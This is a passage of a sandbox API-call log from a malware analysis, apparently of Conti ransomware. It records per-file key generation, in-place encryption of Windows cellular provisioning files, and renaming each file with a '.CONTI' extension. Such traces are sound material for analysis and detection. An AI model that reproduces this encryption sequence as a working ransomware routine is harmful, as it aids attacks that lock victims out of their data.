	[0110.615] WriteFile (in: hFile=0x3dc, lpBuffer=0x6565ef0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x6565ef0*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0110.615] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.615] CloseHandle (hObject=0x3dc) returned 1
	[0110.615] GetProcessHeap () returned 0x1720000
	[0110.615] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.615] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml"
	[0110.615] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.615] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\321__connections_cellular_claro (panama)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\321__connections_cellular_claro (panama)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.616] GetProcessHeap () returned 0x1720000
	[0110.616] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.616] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0110.616] GetProcessHeap () returned 0x1720000
	[0110.616] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65668f8 | out: hHeap=0x1720000) returned 1
	[0110.616] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0110.616] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x65635e8 | out: phKey=0x65635e8*=0x17c8330) returned 1
	[0110.616] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x65635ec, pdwDataLen=0x54bfc14 | out: pbData=0x65635ec*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0110.617] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\323__connections_cellular_claro (paraguay)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.617] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\323__connections_cellular_claro (paraguay)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0110.617] GetLastError () returned 0x0
	[0110.617] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=702) returned 1
	[0110.617] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2be
	[0110.617] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.617] SetEndOfFile (hFile=0x3dc) returned 1
	[0110.621] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.621] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.621] WriteFile (in: hFile=0x3dc, lpBuffer=0x65635ec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x65635ec*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0110.627] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.627] ReadFile (in: hFile=0x3dc, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x2be, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x2be, lpOverlapped=0x0) returned 1
	[0110.627] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2be, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2c0) returned 1
	[0110.627] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.628] WriteFile (in: hFile=0x3dc, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x2c0, lpOverlapped=0x0) returned 1
	[0110.628] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.628] WriteFile (in: hFile=0x3dc, lpBuffer=0x65635e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x65635e0*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0110.628] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.628] CloseHandle (hObject=0x3dc) returned 1
	[0110.628] GetProcessHeap () returned 0x1720000
	[0110.628] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.628] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml"
	[0110.628] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.628] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\323__connections_cellular_claro (paraguay)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\323__connections_cellular_claro (paraguay)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.629] GetProcessHeap () returned 0x1720000
	[0110.629] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.629] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0110.629] GetProcessHeap () returned 0x1720000
	[0110.629] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6566a40 | out: hHeap=0x1720000) returned 1
	[0110.629] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0110.629] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x6564828 | out: phKey=0x6564828*=0x17c85b0) returned 1
	[0110.629] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x656482c, pdwDataLen=0x54bfc14 | out: pbData=0x656482c*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0110.630] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\325__connections_cellular_claro (peru)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.630] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\325__connections_cellular_claro (peru)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0110.630] GetLastError () returned 0x0
	[0110.630] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=698) returned 1
	[0110.630] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2ba
	[0110.630] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.630] SetEndOfFile (hFile=0x3dc) returned 1
	[0110.630] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.630] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.630] WriteFile (in: hFile=0x3dc, lpBuffer=0x656482c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x656482c*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0111.079] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.079] ReadFile (in: hFile=0x3dc, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x2ba, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x2ba, lpOverlapped=0x0) returned 1
	[0111.079] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2ba, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2c0) returned 1
	[0111.080] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.080] WriteFile (in: hFile=0x3dc, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x2c0, lpOverlapped=0x0) returned 1
	[0111.080] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.080] WriteFile (in: hFile=0x3dc, lpBuffer=0x6564820*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x6564820*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0111.080] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.080] CloseHandle (hObject=0x3dc) returned 1
	[0111.080] GetProcessHeap () returned 0x1720000
	[0111.080] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.215] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml"
	[0111.215] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.215] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\325__connections_cellular_claro (peru)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\325__connections_cellular_claro (peru)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.216] GetProcessHeap () returned 0x1720000
	[0111.216] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.216] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0111.216] GetProcessHeap () returned 0x1720000
	[0111.216] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6566520 | out: hHeap=0x1720000) returned 1
	[0111.216] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0111.216] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17f7480 | out: phKey=0x17f7480*=0x17c85b0) returned 1
	[0111.216] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17f7484, pdwDataLen=0x54bfc14 | out: pbData=0x17f7484*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0111.217] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\394__connections_cellular_t-mobile (slovakia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.369] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\394__connections_cellular_t-mobile (slovakia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0
	[0111.370] GetLastError () returned 0x0
	[0111.370] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=645) returned 1
	[0111.370] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x285
	[0111.370] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.370] SetEndOfFile (hFile=0x3d0) returned 1
	[0111.370] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.370] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.370] WriteFile (in: hFile=0x3d0, lpBuffer=0x17f7484*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x17f7484*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0111.439] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.439] ReadFile (in: hFile=0x3d0, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x285, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x285, lpOverlapped=0x0) returned 1
	[0111.439] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x285, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x290) returned 1
	[0111.439] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.439] WriteFile (in: hFile=0x3d0, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x290, lpOverlapped=0x0) returned 1
	[0111.439] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.439] WriteFile (in: hFile=0x3d0, lpBuffer=0x17f7478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x17f7478*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0111.439] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.439] CloseHandle (hObject=0x3d0) returned 1
	[0111.439] GetProcessHeap () returned 0x1720000
	[0111.439] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.596] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml"
	[0111.596] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.596] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\394__connections_cellular_t-mobile (slovakia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\394__connections_cellular_t-mobile (slovakia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.599] GetProcessHeap () returned 0x1720000
	[0111.599] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.599] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0111.599] GetProcessHeap () returned 0x1720000
	[0111.599] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65737a8 | out: hHeap=0x1720000) returned 1
	[0111.599] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0111.599] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17f7238 | out: phKey=0x17f7238*=0x17c85b0) returned 1
	[0111.599] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17f723c, pdwDataLen=0x54bfc14 | out: pbData=0x17f723c*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0111.600] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\40__connections_cellular_velcom (belarus)_i1$(__mvid)@wap.provxml")) returned 0x20
